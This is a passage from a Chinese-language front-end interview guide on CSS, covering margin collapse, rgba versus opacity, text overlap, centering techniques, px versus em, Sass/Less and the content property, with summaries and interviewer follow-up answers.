  <ul class="track">
    <li><img src="1.jpg" alt=""></li>
    <li><img src="2.jpg" alt=""></li>
    <li><img src="3.jpg" alt=""></li>
    <li><img src="1.jpg" alt=""></li> <!-- 复制第一张,做无缝衔接 -->
  </ul>
</div>
.slider { width: 480px; aspect-ratio: 3 / 2; overflow: hidden; }
.track  { display: flex; height: 100%; animation: slide 12s infinite; }
.track li { flex: 0 0 100%; }
.track img { width: 100%; height: 100%; object-fit: cover; }

/* 3 张真实图,每张停约 3.3s,切换约 0.7s */
@keyframes slide {
  0%, 27%    { transform: translateX(0); }
  33%, 60%   { transform: translateX(-100%); }
  66%, 93%   { transform: translateX(-200%); }
  100%       { transform: translateX(-300%); } /* 停在副本上,下一轮回到 0 无跳变 */
}

.slider:hover .track { animation-play-state: paused; }

@media (prefers-reduced-motion: reduce) {
  .track { animation: none; }
}

关键点就三个:轨道用 flex 排成一行,每张占满容器宽;关键帧里成对写「停住区间」和「滑动区间」;末尾复制第一张,让循环衔接处的画面完全一致。

💬 面试官追问

  • 背景图版本的轮播,第一次播放时每切一张都会白一下,为什么?

    关键帧里的 background-image 是播到那一帧才开始请求的,图没下完就是空白。可以用 <img> 叠放预加载,或者 <link rel="preload" as="image">,更根本的是换成轨道 + translateX 的写法,图一开始就在 DOM 里。

  • 4 张图,每张停 3s、切换 0.5s,关键帧百分比怎么算?

    一轮 14s,每张占 3.5s,也就是 25%。第一张 0%~21.4% 停住(3s / 14s),21.4%~25% 滑到第二张,以此类推。图多了手算容易错,我会用 Sass 的 @for 循环生成。

  • 最后一张滑回第一张时会往回倒着闪一下,怎么做成无缝?

    在轨道末尾复制一份第一张,最后一帧滑到这个副本上,此时和 0% 的画面完全一样,动画重新开始时肉眼看不出跳变。

  • 鼠标移上去要暂停,纯 CSS 能做吗?

    能,.track:hover { animation-play-state: paused; }。但移动端没有 hover,点暂停、拖动这类交互还是得上 JS。

  • 产品要求轮播能手指滑动,你还会用 animation 吗?

    不会。animation 和手势是两套东西,拼起来很别扭。我会用 overflow-x: auto + scroll-snap-type: x mandatory,原生就能滑动和吸附,自动播放再用 JS 定时调 scrollTo({ left, behavior: 'smooth' })。

# 38 什么是外边距重叠?重叠的结果是什么?

⚡ 30 秒速记

  • 外边距重叠 = margin 折叠:只在常规流的块级盒子之间、只在垂直方向
  • 三种场景:相邻兄弟、父元素和第一个/最后一个子元素(中间没 border、padding、内容隔开)、空块自己的上下 margin
  • 结果:同正取大、同负取更负的那个、一正一负相加(30px 和 -10px 得 20px)
  • 阻断:父元素加 padding / border、建 BFC(display: flow-root),或者干脆用 flex / grid
  • flex、grid 子项之间不折叠,浮动、绝对定位、inline-block 也不参与

外边距重叠就是上下相邻的两个 margin 不相加,而是合并成一个。 比如上面元素 margin-bottom: 30px,下面元素 margin-top: 20px,最后间距是 30px 不是 50px。最容易懵的是父子折叠:子元素写了 margin-top,结果没把自己往下推,反而把父元素整个带下去了,因为父元素上面没有 border 和 padding,两个 margin 贴在一起合并了。处理起来我一般是父元素加 display: flow-root,或者团队约定只写一个方向的 margin。

外边距重叠就是margin-collapse

  • 在CSS当中,相邻的两个盒子(可能是兄弟关系也可能是祖先关系)的外边距可以结合成一个单独的外边距。这种合并外边距的方式被称为折叠,并且因而所结合成的外边距称为折叠外边距。

折叠结果遵循下列计算规则:

  • 两个相邻的外边距都是正数时,折叠结果是它们两者之间较大的值。
  • 两个相邻的外边距都是负数时,折叠结果是两者绝对值的较大值。
  • 两个外边距一正一负时,折叠结果是两者的相加的和。

下面是详细分析

外边距重叠(margin collapse)指的是在某些情况下,相邻的两个元素之间的外边距会发生合并,并且取两者之间的较大值作为最终的外边距值。外边距重叠主要发生在垂直方向上,而水平方向上的外边距不会发生重叠。

外边距重叠的结果是两个相邻元素的外边距被合并成一个单独的外边距,这可能会导致布局上的一些意外效果,比如元素之间的间距变得比预期的要大。

下面是一些常见情况下外边距重叠的例子:

  1. 相邻的兄弟元素的外边距重叠:
<div class="box"></div>
<div class="box"></div>
.box {
  margin-top: 20px;
  margin-bottom: 30px;
}

在这个例子中,两个相邻的兄弟元素之间的上下外边距会发生重叠,最终的外边距值为30px,而不是预期的50px。

  1. 父元素与第一个/最后一个子元素的外边距重叠:

父子折叠发生在「同一侧」的 margin 之间,也就是父元素的 margin-top 和第一个子元素的 margin-top、父元素的 margin-bottom 和最后一个子元素的 margin-bottom。父元素的 margin-bottom 和子元素的 margin-top 不在同一侧,不会互相折叠。

<div class="parent">
  <div class="child">内容</div>
</div>
.parent { margin-top: 10px; background: #eee; }
.child  { margin-top: 30px; }
/* 结果:父元素离上方 30px(10 和 30 折叠取大),
   子元素紧贴父元素顶部,灰色背景上方没有空隙 */

.parent { margin-top: 10px; background: #eee; display: flow-root; }
/* 加上 flow-root 后:父元素离上方 10px,
   子元素在父元素内部往下 30px */

在这个例子中,父元素的上外边距和子元素的上外边距发生重叠,最终的外边距值为 30px,而不是预期的 40px。

了解外边距重叠的规则可以帮助我们更好地控制元素的布局,避免意外的外边距重叠效果。在需要避免外边距重叠的情况下,可以使用一些方法,如使用内边距(padding)或边框(border)来隔离外边距、使用浮动(float)或绝对定位(position)等。

判断能不能折叠就看两个 margin 之间有没有东西挡着:border、padding、行内内容、clearance 任何一个出现,或者父元素建立了 BFC,折叠就断了。

💬 面试官追问

  • 子元素写了 margin-top: 20px,结果父元素和子元素一起往下掉了,为什么?

    父子 margin-top 中间没东西隔开,折叠成了一个,这个合并后的 margin 表现在父元素外面。给父元素加 padding-top: 1px、border-top,或者 display: flow-root 都能断开。

  • 一个 margin-top: 30px,一个 margin-bottom: -10px,间距是多少?

    一正一负直接相加,是 20px。如果两个都是负的,比如 -10px 和 -30px,取更负的 -30px。

  • 一个空 div 设了 margin: 20px 0,页面上占了多少高度?

    只占 20px。空块自己的上下 margin 会折叠,再和前后兄弟的 margin 继续折叠。给它加上高度、padding 或内容就不会了。

  • 把列表改成 display: flex; flex-direction: column 后,间距突然变大了,怎么回事?

    flex 子项之间不折叠,原来 margin-top 和 margin-bottom 合并后取大,现在变成相加。顺手把间距换成父元素的 gap,子项的 margin 去掉,最干净。

  • 左右方向的 margin 会折叠吗?

    不会,水平方向从来不折叠。竖排书写模式(writing-mode: vertical-rl)下例外,折叠跟着块方向走,那时候反而是左右折叠。

# 39 rgba()和opacity的透明效果有什么不同?

⚡ 30 秒速记

  • opacity 管整个元素:背景、文字、子元素一起透明,子元素写 opacity: 1 也「透不回来」
  • rgba() 只是一个颜色值,只影响用了它的那个属性(background-color、color、border-color)
  • 想要背景半透明、文字清晰 → 用 rgba() / #RRGGBBAA / rgb(0 0 0 / 50%),别用 opacity
  • opacity 小于 1 会创建层叠上下文,z-index 可能突然不按预期
  • 淡入淡出动画用 opacity,能走合成层;动 rgba() 的颜色要重绘

rgba() 只让某个颜色变透明,opacity 是让整个元素连同里面所有东西一起变透明。 比如一个弹窗遮罩里放了白色文字,背景写 rgba(0, 0, 0, 0.5),文字还是清清楚楚的;要是写 opacity: 0.5,文字和按钮也一起变灰。还有两个容易忽略的点:opacity 小于 1 会建新的层叠上下文,子元素 z-index 再大也跳不出去;做淡入淡出动画时 opacity 性能更好,浏览器可以直接在合成层处理。

  • rgba() 是一种CSS颜色值表示方法,可以在其中指定红、绿、蓝三个通道的颜色值以及透明度。通过调整透明度值来实现元素的透明效果,仅影响元素的颜色或背景色,不影响元素内的其他内容的透明度。
.element {
  background-color: rgba(255, 0, 0, 0.5); /* 半透明红色背景 */
}
  • opacity 是CSS属性,用于设置元素的整体透明度。它会影响元素以及元素内的所有内容的透明度,包括文本、图像等。设置元素的透明度会影响整个元素及其内容的可见性。
.element {
  opacity: 0.5; /* 元素及其内容半透明 */
}

需要注意的是,opacity 的值是一个0到1之间的数字,0表示完全透明,1表示完全不透明。而 rgba() 中的透明度值是一个介于0到1之间的数字,0表示完全透明,1表示完全不透明。

另外,需要注意的是,opacity 的透明度是继承的,子元素会继承父元素的透明度效果,而 rgba() 设置的透明度不会继承给子元素。

综上所述,rgba() 和 opacity 在实现透明效果上有一些不同,需要根据具体的需求和效果来选择使用哪种方式。

小结

  • rgba()和opacity都能实现透明效果,但最大的不同是opacity作用于元素,以及元素内的所有内容的透明度,
  • 而rgba()只作用于元素的颜色或其背景色。(设置rgba透明的元素的子元素不会继承透明效果!)

💬 面试官追问

  • 父元素 opacity: 0.5,子元素写 opacity: 1,子元素会恢复不透明吗?

    不会。opacity 不是继承,是整块元素画完再统一乘透明度,子元素的 1 只是相对父元素那一层而言。要子元素清晰,父元素只能改用 rgba() 背景。

  • 卡片悬停时加了 opacity: 0.9,里面的下拉菜单被下面的卡片盖住了,为什么?

    opacity 小于 1 会创建层叠上下文,下拉菜单的 z-index 被锁在这张卡片里面比,跟别的卡片比不了。换成改背景色的 rgba(),或者给悬停的卡片自己加 position: relative; z-index: 1。

  • 新语法 rgb(0 0 0 / 50%) 和 rgba() 有区别吗?

    没区别,是 CSS Color 4 的写法,rgb() 也能带透明度了,rgba() 只是保留做兼容别名。八位十六进制 #00000080 也是同一个意思。

  • 遮罩层淡入,用 opacity 过渡还是 background-color 的 rgba() 过渡?

    用 opacity。它可以交给合成线程,不重绘;改 background-color 每帧都要重新绘制。遮罩背景写死 rgba(),动画只动外层的 opacity。

  • opacity: 0 和 visibility: hidden 都看不见,有什么不同?

    opacity: 0 元素还在,点得到、读屏器读得到;visibility: hidden 不响应点击,也不进无障碍树。两者都占位,做淡出动画常见写法是两个一起过渡。

# 40 css中可以让文字在垂直和水平方向上重叠的两个属性是什么?

⚡ 30 秒速记

  • 水平方向:letter-spacing 设负值,字符挤到一起就重叠
  • 垂直方向:line-height 设得比字号小,上下两行就叠起来
  • 英文还能用 word-spacing 负值让单词重叠
  • 「line-height 大于字号会重叠」这种说法是错的,大于字号只会拉开行距
  • 偏门记忆题,真要做文字叠加效果用 position: absolute 或 transform 精确控制

水平方向靠 letter-spacing,垂直方向靠 line-height。 letter-spacing 是字和字之间的额外间距,设成负数比如 -0.5em,字符就会挤到一起叠住;line-height 是每行占的高度,比字号小时,比如 font-size: 20px; line-height: 10px,上下两行的字形就会叠在一起。这题实际开发里很少用到,知道原理就行,真要做叠字效果,我会用定位精确控制,不靠间距去凑。

  • 垂直方向:line-height
  • 水平方向:letter-spacing

在CSS中,可以使用以下两个属性实现文字在垂直和水平方向上的重叠:

  • 垂直方向:line-height

    • 通过设置 line-height 属性,可以控制行高,从而实现文字在垂直方向上的重叠。将 line-height 的值设置为大于文字大小的值,可以使文字垂直居中或与其他文字重叠。
    .text {
      line-height: 1.5; /* 行高为文字大小的1.5倍 */
    }
    
  • 水平方向:letter-spacing

    • 通过设置 letter-spacing 属性,可以控制字符之间的间距,从而实现文字在水平方向上的重叠。将 letter-spacing 的值设置为负数,可以让字符紧密排列,产生重叠效果。
    .text {
      letter-spacing: -2px; /* 字符间距为负数,产生重叠效果 */
    }
    

这两个属性可以根据具体的需求来调整,实现文字的垂直和水平方向上的重叠效果。

💬 面试官追问

  • line-height 设成比字号还大,文字会重叠吗?

    不会,反而是拉开行距。只有 line-height 小于字形本身的高度,相邻两行的字才会压到一起。

  • line-height: 1.5 和 line-height: 150% 有什么区别?

    无单位的 1.5 是把系数继承给子元素,子元素按自己的字号再乘;150% 是先算成具体 px 再继承,子元素字号大了就会叠行。所以我基本只写无单位的。

  • 中文标题字太散,设计让收紧一点,用 letter-spacing 要注意什么?

    letter-spacing 会加在每个字的后面,包括最后一个字,居中时整体会往左偏半个间距。负值收紧时用 em 写,比如 -0.02em,字号变了比例不变。

  • 做一个「描边字叠在实心字上」的效果,你会怎么写?

    一般不用负间距去凑,结构是两层,上层 position: absolute; inset: 0 叠在原来那层文字上,或者用 ::after 配 content: attr(data-text),再给一层加 -webkit-text-stroke。

  • letter-spacing 设成负值对可访问性有影响吗?

    有。字挤在一起对阅读障碍用户很不友好,WCAG 里有一条要求用户把字间距调到 0.12em 时内容不能出问题,负间距本身就和这个方向相反,正文别用。

# 41 如何垂直居中一个浮动元素?

⚡ 30 秒速记

  • 先说结论:浮动是用来绕排的,居中别靠它,父元素 display: flex; align-items: center 就行(子元素的 float 会被忽略)
  • 定位法(未知高度):父 position: relative,子 absolute + top: 50% + transform: translateY(-50%)
  • 定位法(已知高度):top: 50% + margin-top: -高度一半,或 top: 0; bottom: 0; margin: auto
  • 注意 absolute 和 float 同时写时 float 会失效,元素已经不是浮动元素了
  • 面试先给 flex,再补老方案,说明知道演进

说实话浮动元素本身没法直接垂直居中,常见答法都是换掉浮动的效果。 最直接是父元素 display: flex; align-items: center,子元素变成 flex 项,float 自动失效。必须脱离文档流时就用绝对定位:top: 50% 把顶边放到中线,再 translateY(-50%) 往回拉自身一半,不用知道高度;高度固定的话 top: 0; bottom: 0; margin: auto 也行。要点是这几种写法里 float 都已经不起作用了,面试时把这一点点出来比背写法加分。

垂直居中一个浮动元素可以使用以下两种方法:

方法一(已知元素的高宽):

#div1 {
  background-color: #6699FF;
  width: 200px;
  height: 200px;
  position: absolute; /* 父元素需要相对定位 */
  top: 50%;
  left: 50%;
  margin-top: -100px; /* 二分之一的height */
  margin-left: -100px; /* 二分之一的width */
}

方法二:

#div1 {
  width: 200px;
  height: 200px;
  background-color: #6699FF;
  margin: auto;
  position: absolute; /* 父元素需要相对定位 */
  left: 0;
  top: 0;
  right: 0;
  bottom: 0;
}

对于垂直居中一个 <img>,可以使用更简便的方法:

#container {
  display: flex;
  justify-content: center;
  align-items: center;
}

上述代码将 <img> 元素放置在一个容器中(#container),通过使用 Flex 布局的 justify-content: center; 和 align-items: center; 属性,实现了图片在容器中的垂直居中效果。

💬 面试官追问

  • 元素同时写了 float: left 和 position: absolute,最后是什么效果?

    按绝对定位走,float 的计算值被改成 none。所以「垂直居中浮动元素」的定位写法,本质是把它变成了定位元素。

  • top: 50%; transform: translateY(-50%) 在弹窗里字有点发虚,怎么回事?

    元素高度是奇数时,-50% 算出半个像素,文字落在亚像素位置就糊了。换成 flex 或 grid 居中,或者让高度保持偶数。

  • top: 0; bottom: 0; margin: auto 为什么能垂直居中?

    绝对定位元素上下都定了、高度也定了,剩下的空间由 margin: auto 平分到上下两边。不给高度的话元素会被拉满,就谈不上居中了。

  • 左右两个浮动块并排,想让矮的那个在高的那个旁边垂直居中,怎么改?

    别再用浮动并排了,父元素 display: flex; align-items: center,两个块的 float 直接删掉。要只让其中一个居中就给它单独 align-self: center。

  • 父元素高度是由内容撑开的,绝对定位居中还能用吗?

    能,top: 50% 相对的是父元素的实际高度,内容撑开也算。前提是父元素有 position: relative,否则会一路往上找到别的定位祖先。

# 42 px和em的区别

⚡ 30 秒速记

  • px 是固定长度(CSS 像素),em 相对当前元素的 font-size
  • em 写在 font-size 上时参照父元素字号,嵌套会累乘:三层 1.2em 就是 1.728 倍
  • em 写在 padding、margin、width 上时参照元素自己的字号
  • rem 只看根元素 html 的字号,不累乘,做整体缩放更稳
  • 我的习惯:字号用 rem,按钮内边距用 em(跟着字号走),边框用 px

px 是固定大小,em 是相对字号的倍数,1em 就是当前元素的字号。 浏览器默认字号是 16px,没改的话 1em 等于 16px。em 最大的坑是嵌套累乘:列表里每层 font-size: 1.2em,三层之后字号就是 1.728 倍,越套越大。还有一个点很多人不知道,用户在浏览器设置里调大默认字号时,rem 和 em 会跟着变,写死的 px 字号不会,所以从可访问性看字号用 rem 更友好。

px和em是两种不同的长度单位,它们的区别如下:

  • px(像素)是一个绝对单位,表示固定的像素大小。无论父元素的字体大小如何,px的值都不会改变,它是一个固定的长度单位。
  • em(倍数)是一个相对单位,它相对于父元素的字体大小来确定自身的大小。如果没有设置字体大小,则1em等于浏览器默认的字体大小(通常是16px)。如果父元素的字体大小是16px,那么1em就等于16px,2em就等于32px,以此类推。

由于em是相对单位,它具有一定的灵活性和可扩展性。当需要调整整个页面的字体大小时,只需更改根元素的字体大小,其他使用em作为单位的元素会自动按比例调整大小,从而实现页面的整体缩放效果。

相对于px来说,em更适用于实现弹性布局、响应式设计以及根据用户偏好进行字体大小调整等场景。

小结

  • px和em都是长度单位,区别是,px的值是固定的,指定是多少就是多少,计算比较容易。em得值不是固定的,并且em会继承父级元素的字体大小。
  • 浏览器的默认字体高都是16px。所以未经调整的浏览器都符合: 1em=16px。那么12px=0.75em, 10px=0.625em。
  • px 相对于显示器屏幕分辨率,无法用浏览器字体放大功能
  • em 值并不是固定的,会继承父级的字体大小: em = 像素值 / 父级font-size

💬 面试官追问

  • 按钮写了 font-size: 14px; padding: 0.5em 1em,padding 实际是多少?

    7px 14px。em 用在 padding 上参照的是元素自己的字号,不是父元素。这样按钮放大字号时内边距会跟着等比变,这正是 em 适合做组件内间距的原因。

  • 嵌套菜单每层都写 font-size: 0.9em,越往里字越小,怎么修?

    这是 em 累乘,第三层只剩 0.729 倍。改成 rem,每层都参照根字号;或者只在最外层写 em,子菜单写 font-size: inherit。

  • 都说 px 不能随浏览器缩放,现在还是这样吗?

    分情况。Ctrl + 加号那种页面缩放,现代浏览器对 px 一样会放大;「默认字号」那个设置才是 px 不跟、rem / em 跟。老 IE 时代 px 连页面缩放都不跟,这个结论是那时候留下的。

  • html { font-size: 62.5% } 这种写法是为了什么,有没有坑?

    让 1rem 等于 10px 方便心算,而且用的是百分比,用户改默认字号还能生效。坑是忘了给 body 设回 1.6rem,没写字号的地方文字会变成 10px。

  • 媒体查询里写 @media (min-width: 48em),这个 em 参照谁?

    参照浏览器默认字号,不受 html 上设的 font-size 影响,通常就是 16px,所以 48em 是 768px。用 em 写断点的好处是用户调大默认字号时布局会提前切换。

# 43 Sass、LESS是什么?大家为什么要使用他们?

⚡ 30 秒速记

  • 都是 CSS 预处理器:写扩展语法,构建时编译成普通 CSS
  • 当年补的能力:变量、嵌套、mixin、函数和运算、循环、@import 拆文件
  • 工程价值:主题色改一处全局生效、重复样式抽 mixin、样式按模块拆分
  • Sass(SCSS 语法)生态最大;Less 语法更像 CSS,antd 4 及以前靠它做主题
  • 现状:原生变量、嵌套、@layer、color-mix() 都有了,新项目常见 PostCSS + 原生 CSS;Sass 的 @import 已废弃,改用 @use

Sass 和 Less 都是 CSS 预处理器,你写带变量、嵌套、函数的扩展语法,构建时编译成浏览器认识的 CSS。 大家用它主要是原生 CSS 当年太弱:没有变量,改个主题色要全局搜替换;没有嵌套,选择器写得又长又重复。用了预处理器以后颜色、间距抽成变量,通用样式抽成 mixin,文件按模块拆。不过现在原生 CSS 变量和嵌套都能用了,预处理器剩下的优势主要是循环、函数这类编译期能力,新项目我会先看原生能不能满足。

  • 他们是CSS预处理器。他是CSS上的一种抽象层。他们是一种特殊的语法/语言编译成CSS。
  • 例如Less是一种动态样式语言. 将CSS赋予了动态语言的特性,如变量,继承,运算, 函数. LESS 既可以在客户端上运行 (支持IE 6+, Webkit, Firefox),也可一在服务端运行 (借助 Node.js)

以下是为什么人们选择使用Sass和Less的一些原因:

  1. 变量和计算:Sass和Less都支持变量,可以定义和重用各种值,如颜色、字体、边距等。它们还允许进行数学计算,简化了样式表的编写和维护。
  2. 嵌套规则:Sass和Less允许在样式规则中嵌套其他规则,提高了样式表的可读性和可维护性。通过嵌套,可以更清晰地表示元素的层次结构,减少了样式选择器的重复。
  3. 混合(Mixins):混合是一种可以在多个选择器中重复使用的样式块。通过定义和调用混合,可以避免样式的重复编写,并且使样式表更加模块化和可复用。
  4. 继承:继承允许一个选择器继承另一个选择器的样式规则,减少了样式的冗余。当多个选择器具有相同的样式时,可以通过继承来避免重复编写样式。
  5. 模块化和导入:Sass和Less支持将样式表拆分为多个模块,并通过导入机制进行组合。这使得样式表的组织和管理更加灵活和可扩展。
  6. 自定义函数:Sass和Less都允许定义自定义函数,可以用于处理样式值,进行复杂的计算和操作。
  7. 强大的工具和生态系统:Sass和Less都有丰富的工具和插件生态系统,提供了许多辅助工具、编译器和构建工具,如预处理器编译器、自动刷新、自动前缀添加等,极大地提升了前端开发的效率。

总而言之,Sass和Less使得CSS的编写更加简洁、模块化和可维护,提供了一些高级功能和工具,使前端开发更加高效和灵活。

💬 面试官追问

  • Sass 变量 $primary 和 CSS 变量 --primary 能互相替代吗?

    不能完全替代。$primary 编译完就没了,运行时改不了;--primary 留在浏览器里,JS 改一下全站跟着变,做暗色主题必须靠它。常见做法是 Sass 管编译期常量,CSS 变量管要运行时切换的值。

  • 项目升级 Dart Sass 后满屏 @import 废弃警告,怎么处理?

    @import 在 Dart Sass 里已经标记废弃,3.0 会移除,要迁到 @use / @forward。@use 有命名空间,用变量要写 colors.$primary,官方有 sass-migrator 能批量改。另外 node-sass 早就停止维护了,还在用的要换成 sass。

  • 嵌套写起来爽,有什么问题?

    嵌套太深会编译出 .a .b .c .d span 这种长选择器,优先级高、难覆盖,也和 DOM 结构强绑定。我一般要求嵌套不超过三层,配合 BEM 写 &__title 这种平级类名。

  • @extend 和 @mixin 怎么选?

    @extend 是把选择器合并到一起,可能生成一大串意想不到的组合选择器,跨文件用还容易出问题;@mixin 是把样式复制一份,可以传参。我基本只用 @mixin,产物大一点无所谓,gzip 后差别很小。

  • 新项目还要上 Sass 吗?

    看需求。如果只是变量和嵌套,原生 CSS 加 PostCSS 已经够了;要大量循环生成工具类、复杂计算,或者用的组件库本身依赖 Sass 变量,那还是上。别为了「大家都用」就加一层编译。

# 44 知道css有个content属性吗?有什么作用?有什么应用?

⚡ 30 秒速记

  • content 给 ::before / ::after 生成内容,不写它伪元素根本不渲染(content: '' 也算写了)
  • 能放:字符串、attr(data-x) 读属性、url() 插图、counter() 计数器、open-quote 引号
  • 典型用途:clearfix、必填红星、图标、自动编号、tooltip 文案、装饰线
  • 生成的内容不在 DOM 里,选不中、复制不到,但读屏器多半会读出来
  • 关键信息别放 content;纯装饰用 content: '★' / '' 这种备用文本语法让读屏器跳过

content 是 ::before 和 ::after 的开关,伪元素有没有、显示什么都由它决定。 不写 content 伪元素就不存在,所以清浮动那种写法哪怕只要一个空盒子也得写 content: ''。它能放字符串、读 HTML 属性的 attr()、计数器 counter(),我常用它做必填项红星、data-tip 提示文字和文章标题的自动编号。要注意生成的内容不进 DOM,用户选不中、复制不到,像价格、状态这种关键信息就别塞进去。

css的content属性专门应用在 before/after伪元素上,用于来插入生成内容。最常见的应用是利用伪类清除浮动。

/**一种常见利用伪类清除浮动的代码**/
.clearfix:after {
    content:".";       //这里利用到了content属性
    display:block;
    height:0;
    visibility:hidden;
    clear:both;
 }
.clearfix {
    *zoom:1;
}
  • content属性主要用于在::before和::after伪元素中插入生成的内容。它通常与伪元素一起使用,以在文档中插入额外的内容或修饰样式。
  • content属性可以接受多种类型的值,包括文本字符串、URL、计数器、计数器符号和引用标签等。通过设置不同的content值,可以实现一些常见的效果,例如:
  1. 插入文本内容:可以在伪元素中使用content属性插入自定义的文本内容,用于装饰样式或添加额外的标识。
  2. 插入图标和符号:通过设置content属性为某个图标字体或Unicode编码,可以在伪元素中插入图标和特殊符号。
  3. 计数器:结合使用content属性和counter函数,可以在伪元素中显示自动生成的计数器,用于标记序号或计数。
  4. 引用标签:通过设置content属性为attr()函数,可以在伪元素中引用元素的属性值,用于显示元素的属性内容。

上述代码示例中,通过设置content属性为一个点字符.,在::after伪元素中插入一个看不见的点,配合其他样式属性实现了清除浮动的效果。这是一种常见的清除浮动的技巧之一。

需要注意的是,content属性只对::before和::after伪元素起作用,对于其他元素并没有效果。此外,content属性必须与display属性一起使用,通常为block或inline-block,以确保生成的内容具有正确的布局。

💬 面试官追问

  • 写了 .icon::before { width: 16px; height: 16px; background: red },页面上什么也没有,为什么?

    缺了 content,伪元素压根没生成。补 content: '',再加 display: inline-block,因为伪元素默认是行内的,行内元素设宽高没用。

  • 用纯 CSS 做一个悬停提示,提示文字放哪?

    放在 data-tip 属性里,::after { content: attr(data-tip) },配合 :hover 显示。注意 attr() 在 content 里只能取字符串,读 width: attr(data-w px) 这种用法支持还很有限。

  • 文档标题要自动编成 1.1、1.2,content 怎么写?

    h2 { counter-increment: h2; counter-reset: h3; },h3 { counter-increment: h3; },然后 h3::before { content: counter(h2) "." counter(h3) " "; }。重排标题顺序编号自己会变,不用手改。

  • <img> 和 <input> 上写 ::after 为什么没效果?

    它们是替换元素或者没有内容的元素,没地方插子内容,::before / ::after 不生效。要加角标就外面包一层 span,在包装元素上写伪元素。

  • 用 content 插了个 ★ 当装饰,读屏器把「黑色星星」读出来了,怎么办?

    写成 content: '★' / '',斜杠后面是给辅助技术的替代文本,空字符串就是不读。不支持这个语法的旧浏览器整条会失效,可以先写一条普通的 content: '★' 兜底。

# 45 水平居中的方法

⚡ 30 秒速记

  • 行内、行内块、文字:父元素 text-align: center
  • 定宽块级:margin: 0 auto(不定宽但想收缩包裹,就加 width: fit-content)
  • 首选:父 display: flex; justify-content: center,或 display: grid; justify-items: center
  • 脱离文档流:position: absolute; left: 50%; transform: translateX(-50%),不用知道宽度
  • 老代码里的 display: table-cell + text-align: center 看得懂就行,新代码不写

水平居中先看元素类型:文字和行内元素用 text-align: center,块级元素用 margin: 0 auto 或者 flex。 margin: 0 auto 的原理是块级元素宽度确定后,左右剩下的空间由两个 auto 平分,所以它必须有宽度,不然默认撑满父元素就无所谓居中了。宽度不固定时我会加 width: fit-content,或者直接父元素 display: flex; justify-content: center。绝对定位元素就 left: 50% 加 translateX(-50%),自身多宽都能居中。

  • 元素为行内元素,设置父元素text-align:center
  • 如果元素宽度固定,可以设置左右margin为auto;
  • 绝对定位和移动: absolute + transform
  • 使用flex-box布局,指定justify-content属性为center
  • display设置为tabel-cell

下面进行详细说明:

  1. 文本居中:如果元素为行内元素,可以将父元素的text-align属性设置为center,这样子元素就会水平居中对齐。
.parent {
  text-align: center;
}
  1. 固定宽度的居中:如果元素宽度已知并固定,可以通过将左右margin设置为auto来实现水平居中。
.element {
  margin-left: auto;
  margin-right: auto;
}
  1. 绝对定位和移动:可以使用绝对定位和transform来实现水平居中。首先将元素的左边距和右边距都设置为auto,然后使用transform属性将元素向左平移50%。
.element {
  position: absolute;
  left: 50%;
  transform: translateX(-50%);
}
  1. Flexbox布局:使用display: flex将父元素设置为弹性容器,然后使用justify-content属性将子元素水平居中。
.parent {
  display: flex;
  justify-content: center;
}
  1. 表格布局:将父元素的display属性设置为table-cell,并将text-align属性设置为center。
.parent {
  display: table-cell;
  text-align: center;
}

这些方法可以根据具体的布局需求和浏览器兼容性进行选择和使用。

💬 面试官追问

  • 一个 div 写了 margin: 0 auto 没居中,什么原因?

    多半是没设宽度,块级元素默认撑满父元素,左右没剩空间可分。也可能它是 inline-block 或者浮动元素,margin: auto 对它们不分配空间。加个 width 或 width: fit-content 就好。

  • 按钮组宽度跟着按钮个数变,想居中,不想改父元素布局,怎么写?

    按钮组自己写 width: fit-content; margin: 0 auto,宽度收缩到内容,然后左右 auto 平分。不想动父元素的时候这招很好用。

  • flex 容器里想让最后一个按钮靠右,其他靠左,怎么写?

    给最后一个按钮 margin-left: auto。flex 里 auto 外边距会吃掉所有剩余空间,比再包一层或者 justify-content: space-between 灵活。

  • 父元素 text-align: center 之后,里面的段落也全居中了,怎么办?

    text-align 是继承属性,会一路传下去。在子块上重新写 text-align: left,或者别用 text-align 居中块,改成 flex。

  • left: 50%; transform: translateX(-50%) 的元素在小屏上被挤得很窄,为什么?

    绝对定位元素没写宽度时会收缩包裹,可用宽度是从 left 位置算到包含块右边,left: 50% 就只剩一半了。补个 width: max-content 或者明确的 width,或者改用 left: 0; right: 0; margin: auto 加定宽。

# 46 垂直居中的方法

⚡ 30 秒速记

  • 首选:父 display: flex; align-items: center,或 display: grid; place-items: center(水平垂直一起)
  • 绝对定位:top: 50% + transform: translateY(-50%),不用知道高度;定高时也可以 top: 0; bottom: 0; margin: auto
  • 单行文字:line-height 等于容器高度,文字换行就失效
  • 老方案:display: table-cell; vertical-align: middle,或插一个 height: 100% 的 inline-block 辅助元素
  • vertical-align 只对行内、行内块和表格单元格有效,对块级元素没用

垂直居中我优先用 flex:父元素 display: flex; align-items: center,不用管子元素多高。 想水平垂直一起居中,display: grid; place-items: center 两行就写完。必须脱离文档流的弹窗就用绝对定位加 translateY(-50%)。单行文字用 line-height 等于容器高度最省事,但文字一换行就会撑开、错位。很多人会给块级元素写 vertical-align: middle 然后纳闷没反应,它只对行内元素和表格单元格起作用。

  • 将显示方式设置为表格,display:table-cell,同时设置vertial-align:middle
  • 使用flex布局,设置为align-item:center
  • 绝对定位中设置bottom:0,top:0,并设置margin:auto
  • 绝对定位中固定高度时设置top:50%,margin-top值为高度一半的负值
  • 文本垂直居中设置line-height为height值
  • inline-block兄弟元素:通过在父元素中插入一个inline-block元素,并设置其垂直对齐方式为middle来实现垂直居中
  1. 表格布局:将父元素的display属性设置为table,并将子元素的display属性设置为table-cell,然后使用vertical-align属性将子元素垂直居中
  • 未知高度的块级父子元素居中,模拟表格布局
  • 缺点:IE67不兼容,父级 overflow:hidden 失效
.parent {
  display: table;
}

.child {
  display: table-cell;
  vertical-align: middle;
}
  1. Flexbox布局:将父元素的display属性设置为flex,并使用align-items属性将子元素垂直居中。
.parent {
  display: flex;
  align-items: center;
}
  1. 绝对定位和负边距:对于已知高度的子元素,将父元素设置为相对定位,子元素设置为绝对定位,并使用top: 50%将其垂直居中,然后通过负边距的方式将子元素向上移动一半的高度
.parent {
  position: relative;
}

.child {
  position: absolute;
  top: 50%;
  margin-top: -50px; /* 假设子元素高度为100px的一半 */
}
  1. 文本垂直居中:对于单行文本,可以设置父元素的line-height属性和高度相等,从而实现文本的垂直居中
.parent {
  height: 100px;
  line-height: 100px;
}
  1. CSS3位移:使用CSS3的transform属性的translateY函数将子元素向上位移一半的高度实现垂直居中
.child {
  position: absolute;
  top: 50%;
  transform: translateY(-50%);
}
